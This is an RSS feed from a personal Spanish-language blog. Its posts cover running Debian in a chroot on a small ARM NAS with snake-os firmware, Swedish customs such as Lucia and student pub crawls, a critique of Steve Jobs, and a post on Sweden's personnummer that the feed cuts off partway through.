<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Luciano&#039;s webpage</title>
	<atom:link href="http://www.lucianobello.com.ar/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lucianobello.com.ar</link>
	<description>Luciano Bello - My personal webpage</description>
	<lastBuildDate>Thu, 19 Jan 2012 14:37:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Corriendo Debian en un server fanless</title>
		<link>http://www.lucianobello.com.ar/post/debian_in_afanless_server/</link>
		<comments>http://www.lucianobello.com.ar/post/debian_in_afanless_server/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 23:04:03 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[depression]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1955</guid>
		<description><![CDATA[Debido a una reciente mudanza, he bajado unos servers que tenía corriendo en casa de mis padres. Sin embargo, en mi nuevo hogar estoy en proceso de generar una nueva DMZ, esta vez, sin ventiladores. El primer paso de este proceso ocurrió en forma de weekend project y consiste en hacerme de un &#8220;servidor&#8221;. Las [...]]]></description>
			<content:encoded><![CDATA[<p>Debido a <a href="http://www.lucianobello.com.ar/post/avancez_en/">una reciente mudanza</a>, he bajado unos servers que tenía corriendo en casa de mis padres. Sin embargo, en mi nuevo hogar estoy en proceso de generar una nueva DMZ, esta vez, sin ventiladores.</p>
<p>El primer paso de este proceso ocurrió en forma de <em>weekend project</em> y consiste en hacerme de un &#8220;servidor&#8221;. Las comillas hacen referencia a que no se trata de un gran server sino un procesador ARM de 200Mhz y 32MB de RAM, lo que es suficiente para que corra Debian y algunos otros servicios que pueden ser interesantes.</p>
<h1>Los ingredientes</h1>
<ul>
<li>Un <em>all-in-one LAN server</em> que es la forma en que <a href="https://www.dealextreme.com/">DealExtreme</a> llama a unos dispositivos con chips de la familia str8132. Dado que vamos a instalar <a href="https://code.google.com/p/snake-os/">snake-os</a> en ellos (en este caso se trata de la versión 1.3.2-20111019), es importante chequear <a href="https://code.google.com/p/snake-os/wiki/SnakeOS_compatible_hardwares">la lista de compatibilidad</a>. En particular me hice de un <a href="https://www.dealextreme.com/p/standalone-bittorrent-bt-client-usb-nas-ftp-samba-printer-upnp-sharing-network-lan-server-26320">NS-K330</a> por 40 dólares.<br />
<img src="https://img.dxcdn.com/productimages/sku_26320_2_small.jpg" alt="" /></li>
<li>Storage USB, puede ser en la forma de <a href="https://es.wikipedia.org/wiki/Memoria_USB">stick</a> o como disco portable.</li>
<li>Un <em>RS232 to TTL level converter</em>, también conocido como <em><a href="https://www.dealextreme.com/p/usb-cable-for-nokia-n1200-1208-1650-2630-2670-13638">cable para Nokia N1200/1208/1650/2630/2670</a></em>. Es para conectarse por serie a la consola. No lo necesitamos ahora mismo, pero está bueno tenerlo a mano en caso de <a href="https://en.wikipedia.org/wiki/Brick_%28electronics%29"><em>brickearlo</em></a>, aunque es un procedimiento que no explicaré esta vez.</li>
</ul>
<h1>Instalación de Snake-OS</h1>
<p>Es realmente sencillo. Lo primero es bajar snake-os, desde <a href="https://code.google.com/p/snake-os/downloads/">la sección de <em>downloads</em> de la web</a>. Es importante que el archivo sea de la forma snakeos-&lt;versión&gt;-<strong>from-original</strong>.zip Instalar el que dice from-snake lleva definitivamente al brickearlo y <a href="https://code.google.com/p/snake-os/wiki/SerialConnectionHowToNSK330">recuperarlo puede ser complejo</a>.<br />
Desde la página de administración del dispositivo hay que subir el archivo snakeos-&lt;versión&gt;-from-original.bin contenido en el zip bajado. Confirmar el md5sum no está de más.</p>
<h1>Acceso inicial</h1>
<p>Los datos para acceder a la nueva interfaz con el browser:</p>
<blockquote><p>http://192.168.0.240 (si es que no hay un DHCP en la red)<br />
usuario: admin<br />
contraseña: snake</p></blockquote>
<p>Por SSH la contraseña de root la misma y, al cambiarla por la página de administración, se cambia en todos los accesos.</p>
<h1>Post instalación</h1>
<p>Incluso cuando <a href="https://www.facebook.com/maxiberta">Max</a> opine que el uso de memoria virtual está rumbo a la extinción (lo cierto es que tal vez no es la mejor idea cuando el <a href="https://es.wikipedia.org/wiki/Unidad_de_estado_s%C3%B3lido">storage es de estado sólido</a> como en los pendrives), activé el uso de SWAP desde el menú <em>Service-Swapfile</em>.</p>
<p>Si se quieren las mismas prestaciones que se tenían con el firmware original, hay que instalar unos paquetes adicionales. El sistema de paquetes que utiliza snake-os es <a href="https://en.wikipedia.org/wiki/Opkg">opkg</a> y tiene que ser primero activado desde <em>Service-Opkg</em>. Los paquetes pueden bajarse desde <a href="https://code.google.com/p/snake-os/downloads/list">la página de download de snake-os</a> y se instalan desde <em>System-Packages</em>. En particular, pueden ser interesantes (siempre pensando en los features originales):<br />
<strong><a href="http://www.transmissionbt.com/">Transmission</a></strong>: Es un cliente de BitTorrent, para dejar tus descargas corriendo. Es bastante mejor que el original.<br />
<strong><a href="http://sourceforge.net/projects/minidlna/">miniDLNA</a></strong>: Es el server de streaming compatible con DLNA/UPnP-AV. Está un poco verde, pero <a href="https://code.google.com/p/snake-os/wiki/MiniDLNA">se está trabajando en su mejora</a>.</p>
<h1>Corriendo Debian dentro</h1>
<p>Las instrucciones están <a href="https://code.google.com/p/snake-os/wiki/Debian_Chroot">acá</a>. Aunque esto es lo más obvio y necesario:</p>
<blockquote><p>wget http://snake-os.googlecode.com/files/debian_chroot.tgz<br />
tar -xvf debian_chroot.tgz<br />
mount -o bind /proc /usb/sda1/debian/proc<br />
mount -o bind /dev /usb/sda1/debian/dev<br />
chroot /usb/sda1/debian/
</p></blockquote>
<p>Esta instalación base requiere unos 200MB. Tiene todo el potencial de un Debian (¡porque lo es!).<br />
Claro que falta ajustar varios detalles, pero será la piedra inicial para el resto.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debian_in_afanless_server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lessons Learned: Lucia</title>
		<link>http://www.lucianobello.com.ar/post/lucia/</link>
		<comments>http://www.lucianobello.com.ar/post/lucia/#comments</comments>
		<pubDate>Mon, 12 Dec 2011 21:23:22 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[Lessons learned...]]></category>
		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1920</guid>
		<description><![CDATA[Lucia, fiesta (13 de diciembre). Tradicional fiesta sueca asociada a Santa Lucía de Siracusa, el solsticio y las velas. Según el santoral católico, el 13 de Diciembre (o sea, en un par de horas) es el día dedicado a Santa Lucía. Dato que seguramente pasa totalmente desapercibido para la gran mayoría de la personas del [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Lucia</strong>, <em>fiesta (13 de diciembre)</em>. Tradicional fiesta sueca asociada a Santa Lucía de Siracusa, el solsticio y las velas.</p></blockquote>
<p>Según el santoral católico, el 13 de Diciembre (o sea, en un par de horas) es el día dedicado a Santa Lucía. Dato que seguramente pasa totalmente desapercibido para la gran mayoría de la personas del mundo. A menos claro, que se sea habitante de Suecia (o de Sicilia, pero no viene al caso).</p>
<p>El día de Santa Lucía, o simplemente <em>Lucia</em> como prefieren llamarlo acá, es de la fiestas más importantes de la cultura sueca. Y, como extranjero,  me es sumamente difícil de entender como en un país tan poco religioso algo así tiene cabida. Así que analicemos los hechos.</p>
<p><img align=right src="http://1.bp.blogspot.com/_OZEW1KPpFOI/ST3qMXkknXI/AAAAAAAABXQ/1gtQI3gdVkA/s400/lucy.jpg" alt="" /><strong>La santa en cuestión</strong>: Durante el siglo III y principios del IV vivió en <a href="https://es.wikipedia.org/wiki/Siracusa_%28Sicilia%29">Siracusa (una ciudad de Sicilia, Italia)</a> una joven católica de familia potentada llamada Lucía, quien tenía intensiones de consagrarse a Dios. Pero un despechado pretendiente la denunció a la autoridades (eran tiempos de <a href="https://es.wikipedia.org/wiki/Persecuci%C3%B3n_de_Diocleciano">persecución</a> a los católicos) y fue enjuiciada y sentenciada a muerte. La tradición cuenta que se ordenó torturarla arrancándole los ojos y que aún así siguió viendo por milagro divino (sí, lo que tiene en la bandeja de la estampita son un par de ojos). Más datos sobre <a href="https://es.wikipedia.org/wiki/Luc%C3%ADa_de_Siracusa">su vida en la Wikipedia</a> y referencias.<br />
Es, obviamente, patrona de los ciegos. También, aunque bastante menos evidentemente, de los electricistas, choferes, afiladores y cristaleros. Tal vez en este último caso exista alguna relación con el <a href="http://es.hicow.com/vidrio/arte-en-vidrio/suecia-71222.html">tradicional arte de soplar vidrio que existe en Suecia</a>.</p>
<p><strong>Su asociación con la luz</strong>: El nombre <em>Lucía</em>, hace clara referencia al latín, <em>Lux</em>. La leyenda de los ojos también parecen referir a la luz (o a la falta de ésta). Aunque no pude encontrar referencias, algunas personas me comentan que Santa Lucía fue condenada a la hoguera y que el fuego no la consumía. Y que por esto hay velas durante la celebración. Aún más simpático es que parece ser que, por errores acumulados durante la Edad Media en el <a href="https://es.wikipedia.org/wiki/Calendario_Juliano">calendario Juliano</a>, la festividad de Lucía coincidía con el día más corto del año, el solsticio de invierno.</p>
<p>Conociendo lo odioso que puede ser la oscuridad en estos lares y lo fanático de las velitas y de los <a href="https://picasaweb.google.com/lh/photo/meVMz0NIFQKU5KJwkZ4kiNMTjNZETYmyPJy0liipFm0?feat=directlink">artefactos lumínicos</a> que son lo locales, no parece ser tan loco que quieran festejar que los días empiezan a alargarse (aunque esto no ocurrirá <a href="http://www.usno.navy.mil/USNO/astronomical-applications/data-services/earth-seasons">hasta dentro de poco más de una semana</a>).</p>
<p>Las velas también pueden hacer referencia a una leyenda pre-cristina en que la noche más larga del año lo animales nocturnos adquirían poderes sobrenaturales (incluso podían hablar) y había que mantenerlos alejados con fuego.</p>
<p><img align=right src="http://www.sweden.se/upload/Sweden_se/english/articles/SI/2007/Ice_hotel/Lucia_ice_hotel.jpg" alt="" /><strong>Luciatåg</strong>: Significa <em>procesión de Lucia</em>. Es el acto por excelencia y se celebra totalmente independiente de la fiesta religiosa. Se realiza en escuelas (especialmente en las guarderías) y en ámbitos públicos en donde una mujer representa a Lucia llevado &#8220;la luz&#8221; con una corona de velas (electrónicas en muchos casos, matando cierta divertida tensión macabra). La vestimenta es una túnica blanca ceñida por una faja roja, representando el martirio. Las <em>tärnor</em> (literalmente, <em>golondrinas</em>, aunque también puede ser <em>las damas de honor</em> o <em>doncellas</em>) acompañan a Lucia llevando velas en las manos y cantando canciones tradicionales. Hay más personajes, pero quedarán para otro post.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Saffron_bun_20051213_001.jpg/320px-Saffron_bun_20051213_001.jpg" alt="" align=right />Entre las muchas tradiciones gastronómicas asociadas a esta época del año, hay una que hace referencia directa a Lucia: los <strong>lussekatter</strong>. Son como unas facturas dulces de azafrán y que representan ojos. La palabra <em><a href="https://es.wikipedia.org/wiki/Lussekatt">lussekatt</a></em> se traduce como <em>gatos de Lucia</em> y se suele acompañar con <a href="https://es.wikipedia.org/wiki/Gl%C3%B6gg">Glögg</a>, una especie de glühwein local.</p>
<p>Para terminar, durante esta fecha se elige en Estocolmo la <strong>Sveriges Lucia</strong>. Es una especie de <a href="http://www.sverigeslucia.se/">concurso por representar a Lucia a nivel nacional</a> en donde cada ciudad propone su candidata. Las participantes representan a una entidad de beneficencia y tengo entendido que se valoran las cualidades para canto y la personalidad con entrevistas que son televisadas. Se puede votar por tu Lucia favorita a través de SMS, aunque creo que la votación para este año ya está cerrada. ¿Que qué se lleva la ganadora? No tengo idea&#8230; </p>
<p>Pero acá les dejo las candidatas finalistas de este año:<br />
<img align=center src="http://29.media.tumblr.com/tumblr_ltzmg0jHUS1qzhosgo1_500.jpg" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/lucia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lessons Learned: Pubrunda</title>
		<link>http://www.lucianobello.com.ar/post/pubrunda/</link>
		<comments>http://www.lucianobello.com.ar/post/pubrunda/#comments</comments>
		<pubDate>Fri, 28 Oct 2011 14:29:33 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[Lessons learned...]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1894</guid>
		<description><![CDATA[Pubunda, sustantivo. Gira trimetral entre bares. Runda es algo así como ronda o circuito. Al menos en cuanto a educación superior se refiere, el ciclo lectivo sueco (llamado läsår) va de Agosto a Junio y está conformado por 2 términos: el de otoño (hösttermin) y el de primavera (vårtermin). Cada termino está a su vez [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Pubunda</strong>, <em>sustantivo</em>. Gira trimetral entre bares. <em>Runda</em> es algo así como <em>ronda</em> o <em>circuito</em>.</p></blockquote>
<p>Al menos en cuanto a educación superior se refiere, el ciclo lectivo sueco (<a href="https://www.student.chalmers.se/sp/academic_year_list">llamado <em>läsår</em></a>) va de Agosto a Junio y está conformado por 2 términos: el de otoño (<em>hösttermin</em>) y el de primavera (<em>vårtermin</em>). Cada termino está a su vez dividido en dos <em>períodos de estudios</em> (<em>läsperiod</em>, normalmente referenciados como <em>Lp1</em> al <em>Lp4</em>).</p>
<p>El primer jueves de cada <em>läsperiod</em> se realiza entre los estudiantes la <strong><em>pubrunda</em></strong>. En los períodos pares, ésta coincide con la semana siguiente a los exámenes, por lo que se vive un clima particularmente festivo y relajado. Anoche fue la correspondiente al <em>Lp2</em> y pude participar por primera vez.<br />
<img src="http://a8.sphotos.ak.fbcdn.net/hphotos-ak-snc7/300739_305676906126207_107074735986426_1257778_794748319_n.jpg" alt="" /><br />
Empezando como a las 6 pm, el campus universitario se empieza a colmar de estudiantes, ávidos de visitar la mayor cantidad de pubs posibles. En <a href="http://www.chs.chalmers.se/en/content/view/full/1640">cada departamento hay una organización de estudiantes</a> que, entre otras cosas, regentea un pequeño pub o bar. Es una buena oportunidad para estas organizaciones de recaudar efectivo mientras que los estudiantes pueden beber y comer a relativo muy bajo costo. El precio típico de una cerveza es entre 20 y 30 SEK (coronas, menos de 20 pesos argentinos) y se puede conseguir una hamburguesa por 30 SEK. Digo relativamente barato, dado que en estos lares la cerveza suele estar más cerca de las 80 SEK, mientras que una sándwich al paso cuesta unas 60 SEK.</p>
<p>Se puede acceder a todos los pubs del campus con la tarjeta de la <a href="http://www.chs.chalmers.se/"><em>studentkår</em></a> (la unión de estudiantes, que agrupa a todas las organizaciones) y cada miembro puede llevar a un invitado.</p>
<p>Incluso cuando todo el ambiente es muy estudiantil, hay algunas reglas muy estrictas. Por ejemplo, la capacidad de los lugares es limitada y por ninguna razón se puede acceder al lugar si éste llego a su número. En la puerta se llevan <a href="http://articulo.mercadolibre.cl/MLC-36838787-contador-de-mano-metalico-personas-accesos-ganado-_JM">contadores de personas</a> para garantizar esto. Otra restricción tiene que ver con beber alcohol fuera del pub. No se puede beber en los baños ni en los corredores o el exterior.</p>
<p>En general es un abiente divertido y se la pasa muy bien. Es una excelente excusa para visitar lugares, conocer gente y beber. Si bien no es muy práctico andar cambiado de bar (las colas en espera de que la gente salga pueden ser largas) mucha gente se divierte completando una especie de grilla de los lugares que visita o las marcas de cerveza que bebe, como la que se muestra a continuación:<br />
<img src="http://a6.sphotos.ak.fbcdn.net/hphotos-ak-ash4/s720x720/294817_305675629459668_107074735986426_1257770_1999624305_n.jpg" alt="" /><br />
No estoy muy seguro si hay algún tipo premio. Pero he notado cierta tendencia por este tipo de juegos. Por ejemplo, muchos bares tienen una noche a la semana que llaman <a href="http://en.wikipedia.org/wiki/Pub_quiz">quiz night o trivia night</a>, donde se contestan cuestionarios de cultura general o historia de la ciudad. En <a href="http://www.foxes.se/quiz">algunos casos</a> es sobre música o películas. Todo, al son de la bebida.</p>
<p><small>Otras lecciones aprendidas en Suecia, <a href="http://www.lucianobello.com.ar/category/life/sweden/lessons/">aquí</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/pubrunda/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>YAPAJ: Just another post about Jobs</title>
		<link>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/</link>
		<comments>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 21:02:51 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[activism]]></category>
		<category><![CDATA[dark side]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1842</guid>
		<description><![CDATA[Tengo noticias: Se murió Steve Jobs. ¿Qué? ¿Ya lo sabías? No me extraña, si hoy estuviste conectado aunque sea accidentalmente a Internet, no tuviste forma de esquivar esta novedad. A mí el final del día también me encuentra en esta situación de hastío y me sorprende que aún no hayas dejado de leer dado que [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.dosisdiarias.com/2011/10/2011-10-06.html"><img align=right src="http://2.bp.blogspot.com/-eXJMWMwpU9g/To0Tsd-1UoI/AAAAAAAAESg/AHcP-zLGgH8/s400/Steve.jpg"/></a>Tengo noticias: Se murió <a href="http://www.apple.com/stevejobs/">Steve Jobs</a>.</p>
<p>¿Qué? ¿Ya lo sabías? No me extraña, si hoy estuviste conectado aunque sea accidentalmente a Internet, no tuviste forma de esquivar esta novedad. A mí el final del día también me encuentra en esta situación de hastío y me sorprende que aún no hayas dejado de leer dado que este es  <em>simplemente-otro-post-acerca-del-fallecimiento-de-Steve-Jobs</em>. Es claro que el evento fue difícil de ignorar, aunque no estoy seguro de que esto hable bien o mal del finado. Y a hablar bien <strong>y</strong> mal es a lo que dedicaré las siguientes líneas.</p>
<p>Seguramente, como yo, leíste todo el día comentarios a favor y en contra. En general, mucha gente en los extremos. Me parece que en estos momentos es importante el <em>zoom out</em>, porque en los bordes es difícil reflexionar.</p>
<p><strong>Los hechos</strong>: Steven Paul Jobs, en adelante SJ, fue el cofundador de Apple, una de las empresas de tecnología más importantes de la actualidad. A los 26 años, cuando Apple salió al mercado de valores, SJ ya era millonario y <a href="http://www.spd.org/2011/10/the-10-greatest-steve-jobs-mag.php">tapa del Times</a>. ¿La razón? <a href="http://es.wikipedia.org/wiki/Apple_II">La Apple II</a>, una computadora que no ocupaba una habitación entera para hacer cosas útiles, había iniciado la industria de la informática tal como la conocemos hoy. Y eso fue solo el comienzo.</p>
<p><strong>No tan malo</strong>: Ésta es la parte que considero fácil. Posiblemente las buenas características de SJ son también las más obvias y ya la leíste por ahí, así que haré énfasis en lo que yo considero clave para entender la muerte de SJ como una pérdida.</p>
<p>El <a href="http://en.wikipedia.org/wiki/Macintosh_128K">Macintosh 128K</a>, lanzado en 1982, ya usaba lo que se conoce como <a href="http://es.wikipedia.org/wiki/Met%C3%A1fora_de_escritorio">la metáfora del escritorio</a>. Es decir una interfaz gráfica de usuario intuitiva que simulaba las características de un escritorio, como carpetas, archivos y papeleras donde tirar las cosas que ya no queremos. ¿Te suena? Hoy es una cosa dada por obvia. Si bien <a href="http://www.csdl.tamu.edu/~l0f0954/academic/cpsc610/hw2-3.htm">el concepto es anterior</a>, Apple fue el primero que lo comercializó con éxito. Esto se debe en parte a que incluyo un dispositivo llamado <em>mouse</em> (o ratón, si sos ibérico). También te suena, no? Aunque tal vez estoy siendo sobrestimado lo técnico. Después de todo, seguramente la raíz del éxito se deba a que SJ se encargó del marketing y la publicidad. Eran tiempos en donde la computación era cosa, ya no nerds o geeks, sino casi de científicos. Tal vez por esto, lo <a href="http://es.wikipedia.org/wiki/Terminal_de_computador">intrincado y feo</a> estaba a la orden del día. Posiblemente el mayor mérito de SJ sea el haber traído belleza y diseño a ese mundo, así como usabilidad y funcionabilidad. Desde el diseño minimalista del packaging aquel Apple II, hasta los conectores de voltaje magnéticos de las actuales MacBook (llamados <a href="http://en.wikipedia.org/wiki/MagSafe">MagSafe</a>). Todo parece estar perfectamente pensado para su uso.</p>
<p>La familia de sistemas Mac OS inspiró las hermosas interfaces en programas como <a href="http://http://en.wikipedia.org/wiki/IOS">iOS</a> (el sistema que corren los iPhone). <a href="http://www.nytimes.com/interactive/2011/08/24/technology/steve-jobs-patents.html">Su lista de patentes</a> (la gran mayoría referida a diseños más que a elementos técnicos), dan una idea aproximada del impacto de sus creaciones en nuestra realidad.</p>
<p>Todo esto, combinado con un extraordinario carisma, <a href="http://www.youtube.com/watch?v=6zlHAiddNUY">una gran capacidad de oratoria</a> y un managment que, para lo entendidos, es modelo, hacen que hoy mucha gente esté triste por su fallecimiento.</p>
<p><strong>No tan bueno</strong>: Acá es donde intento hacer contrapeso a la <a href="https://twitter.com/#!/briascoi/status/121877597549367298">postura de idolatría</a> que se repitió demasiado hoy. Supongo que es políticamente incorrecto embestir contra un finado. Y es que una vez muerto, todos hablan de tus logros y no tus pifies. Incluso cuando estos fueron del tamaño de un elefante embarazado.</p>
<p>En primer lugar, el mérito inicial del desarrollo técnico de la Apple II (así como de la I) es de <a href="http://es.wikipedia.org/wiki/Steve_Wozniak">Steve Wozniak</a>, a quien no tengo problemas en referirme como genio (por razones que quedarán para otra circunstancia, o para cuando se muera :P). A SJ siempre le importó <a href="http://www.cyberhades.com/2010/10/21/microhistorias-%C2%BFa-quien-le-importa-la-estetica-de-una-placa-base-pues-a-steve-jobs/">más lo estético que lo técnico</a>. Como ingeniero esto me rompe un poco, pero no es su peor faceta.</p>
<p>SJ, como CEO de Apple, fue el principal responsable de que sus productos se cuenten entre las cosas más restrictivas que existen en la faz de la tierra. Y quiero dejar afuera el hecho de que el software involucrado en sus dispositivos no sean libre. Me refiero a componentes explícitamente hechos y diseñados para limitar las libertades de los usuarios. Empecemos por donde hay que empezar:</p>
<p>En un principio, era posible hacer <a href="http://www.apple2clones.com/"><em>clones</em> de los primeros modelos de Apple II</a>. Esta posibilidad era técnica, pero cuando los clones empezaron a ser mejores y más baratos que los producidos por la ya-no-tan-inminente compañía, SJ empezó a perseguir legalmente a sus creadores. El resultado de este trauma infantil puede verse hoy cuando, a diferencia de sus primos PC, no es posible comprar componentes estándares de cualquier fabricante para dispositivos Apple.</p>
<p>Apple fue de las primeras empresas en implementar <a href="http://es.wikipedia.org/wiki/Gesti%C3%B3n_de_derechos_digitales">DRM</a> en sus dispositivos. Esto es, tecnologías con la cuales se puede limitar, por ejemplo, la copia de cierto software o canciones en pro de los &#8220;derechos de autor&#8221;. Podés aprender más acerca de como el DRM limita tu vida <a href="http://www.defectivebydesign.org/">aquí</a>.</p>
<p>La interoperabilidad es otra pata de la misma política. Los dispositivos iPod, iPhone, iPod Touch y iPad son muy difíciles de gestionar sin iTunes, del cual no existe una versión libre ya que los protocolos que los dispositivos usan son privativos y fueras de todo estándar. Por otro lado, el iTunes original es en sí mismo <a href="http://www.macnn.com/articles/10/07/19/reveals.details.of.how.gps.data.is.used/">un pisoteo a la privacidad de los usuarios</a> porque es monitoriable. Hay un excelente capítulo de The Simpsons que se burla de esta situación (ver <a href="http://www.youtube.com/watch?v=7L2fsubA2-c">1</a>, <a href="http://www.youtube.com/watch?v=poREl_EVWXI">2</a> y <a href="http://www.youtube.com/watch?v=WL2l_Q1AR_Q">3</a>).</p>
<p>Esto tipo de cosas convierte a SJ y a Apple en una especie de club en donde la entrada es el sobrevalorado precio de un artículo que lejos está de beneficiar a la sociedad. Lejos de ser un aporte a la humanidad los productos se transforman en obstáculos dentro de la creación colectiva del conocimiento. Guerras de patentes y demandas cruzadas generan miedo a la innovación. Lo que debería ayudar al desarrollo de la sociedad se transforma en lastre. SJ fue uno de los principales promotores de la privatización del conocimiento y de la idea que compartir está mal.</p>
<p><strong>En conclusión</strong>: Es importante mantener la perspectiva No estoy seguro de calificar a SJ como un genio. Sin duda modificó la realidad en la que vivimos hoy y es claro que merece reconocimiento. Pero también es claro que pudo haber hecho las cosas distintas para que más personas se beneficien de su capacidad de ver más allá. Ahora tendremos que esperar 70 años (lo que en términos tecnológicos significa <em>nunca</em>) para que algunas de sus creaciones pasen al dominio público. Tal vez un concepto de libertad más completo no hubiese permitido que hoy Apple sea <a href="http://www.elpais.com/articulo/economia/Apple/supera/Exxon/empresa/valiosa/mundo/elpepueco/20110809elpepueco_10/Tes">la empresa con mayor capitalización bursátil del mundo</a>. Pero yo esperaría este tipo prioridades en las personas que llamo <em>admirables</em>. ¿qué sus creaciones son bonitas y funcionales? No lo dudo. Pero mucho menos se a dicho de la música que producía <a href="http://personales.mundivia.es/llera/cuentos/hamelin.htm">el flautista de Hamelín</a>. Al menos así lo veo yo.</p>
<p><strong>Lo que dejé afuera de discusión</strong>: Decidí dejar argumentos que creo que ensucian la reflexión. Estos son:</p>
<ul>
<li>Las denuncias sobre <a href="http://www.telegraph.co.uk/technology/apple/7330986/Apple-admits-using-child-labour.html">trabajo infantil</a> y <a href="http://www.huffingtonpost.com/amnesty-international/human-exploitation-fuels_b_243939.html">explotación de trabajadores</a> en fabricas chinas de la compañía. Creo que es algo que va más allá de SJ. Es producto de otros factores y afecta muchísimo al mercado de la tecnología en su conjunto. </li>
<li>Filantropía: Al retomar el control de Apple en 1997, SJ eliminó todos los programas de filantropía de la empresa. Hay muchas empresas que no hacen beneficencia y aún así son socialmente responsables. No creo que sea algo criticable, <em>per se</em>.</li>
<li>La dieta anti-cancer: <a href="http://tejedor1967.blogspot.com/2011/10/steve-jobs-victima-de-las.html">Se</a> <a href="http://scienceblogs.com/insolence/2008/03/woo_for_cancer_say_it_aint_so_steve.php">dice</a> que SJ retrasó su tratamiento contra el cáncer de páncreas (cuya variedad era curable) por intentar curarse con una dieta <em>anti-cancer</em>. Además de tener cuestionable fundamento, creo que es un tema que pertenece a su esfera privada.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/yapaj-just-another-post-about-jobs/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Lessons Learned: El personnummer y la identitetskort</title>
		<link>http://www.lucianobello.com.ar/post/personnummer/</link>
		<comments>http://www.lucianobello.com.ar/post/personnummer/#comments</comments>
		<pubDate>Sat, 01 Oct 2011 19:44:09 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[Lessons learned...]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[sweden]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1760</guid>
		<description><![CDATA[personnumer, sustantivo: Número de identificación personal (aunque también podría traducirse, con cierta malicia, como número de persona). identitetskort, sustantivo. Literalmente, tarjeta de identidad. También llamada id-kort. Hace unas semanas me ocurrió la siguiente situación con un vendedor en un local de telefonía celular. - Hola, dado que voy a pasar un tiempo en la ciudad, [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>personnumer</strong>, sustantivo: Número de identificación personal (aunque también podría traducirse, con cierta malicia, como <em>número de persona</em>).
</p></blockquote>
<blockquote><p><strong>identitetskort</strong>, sustantivo. Literalmente, tarjeta de identidad. También llamada <em>id-kort</em>.
</p></blockquote>
<p>Hace unas semanas me ocurrió la siguiente situación con un vendedor en un local de telefonía celular.<br />
- Hola, dado que voy a pasar un tiempo en la ciudad, me gustaría tener un número móvil con contrato.<br />
- Excelente, contamos con muchos planes. ¿Tenés tu personnummer?<br />
- Aún no, posiblemente esté al llegar, empecé el tramite hace un par de semanas. De todas forma, quisiera ir averiguando los precios.<br />
- Mm&#8230; sin personnummer es poco lo que puedo hacer.<br />
- Bueno, podés ir dándome los precios.<br />
- Claro, para personas sin personnummer tenemos este astronómicamente-caro servicio con tarjeta prepago.<br />
- Emm.. pero a mí me gustaría un contrato.<br />
- Pero no tienes personnummer.<br />
- Mm&#8230; tal vez sea que mi inglés no es muy bueno, tendré mi personnummer en unos días&#8230;<br />
- Volvé en unos días y estaremos encantados de ayudarte&#8230;</p>
<p>El <strong>personnummer</strong> es un número que identifica a las personas en estas tierras. Los locales, lo obtienen al nacer. Y los residentes debemos tramitarlo al entrar al país. Incluso <a href="http://www.spouses.nu/lankar_och_dokument/dokument/MovingToSweden.html#skattemyndigheten">este sitio</a> recomienda iniciar el trámite antes de desempacar. Es que el número en cuestión se necesita para absolutamente cualquier cosa, desde para abrir una cuenta de banco hasta sacar un libro de la biblioteca o rentar una bici por más de 3 días.</p>
<p>Algunos locales usan la expresión <em>¿ya estás en el sistema?</em> cuando se enteran que hace poco llegaste. Uno virtualmente no existe sin su personnummer. Tenerlo significa que estás <em>folkbokförd</em> (literalmente, <em>registrado en el libro de las personas</em>) y sos parte armoniosa de la <em><a href="http://es.wikipedia.org/wiki/Sueco_%28etnia%29">svenskar</a></em>. Permite, entre otras cosas:</p>
<ul>
<li>Sacar una cuenta en un banco.</li>
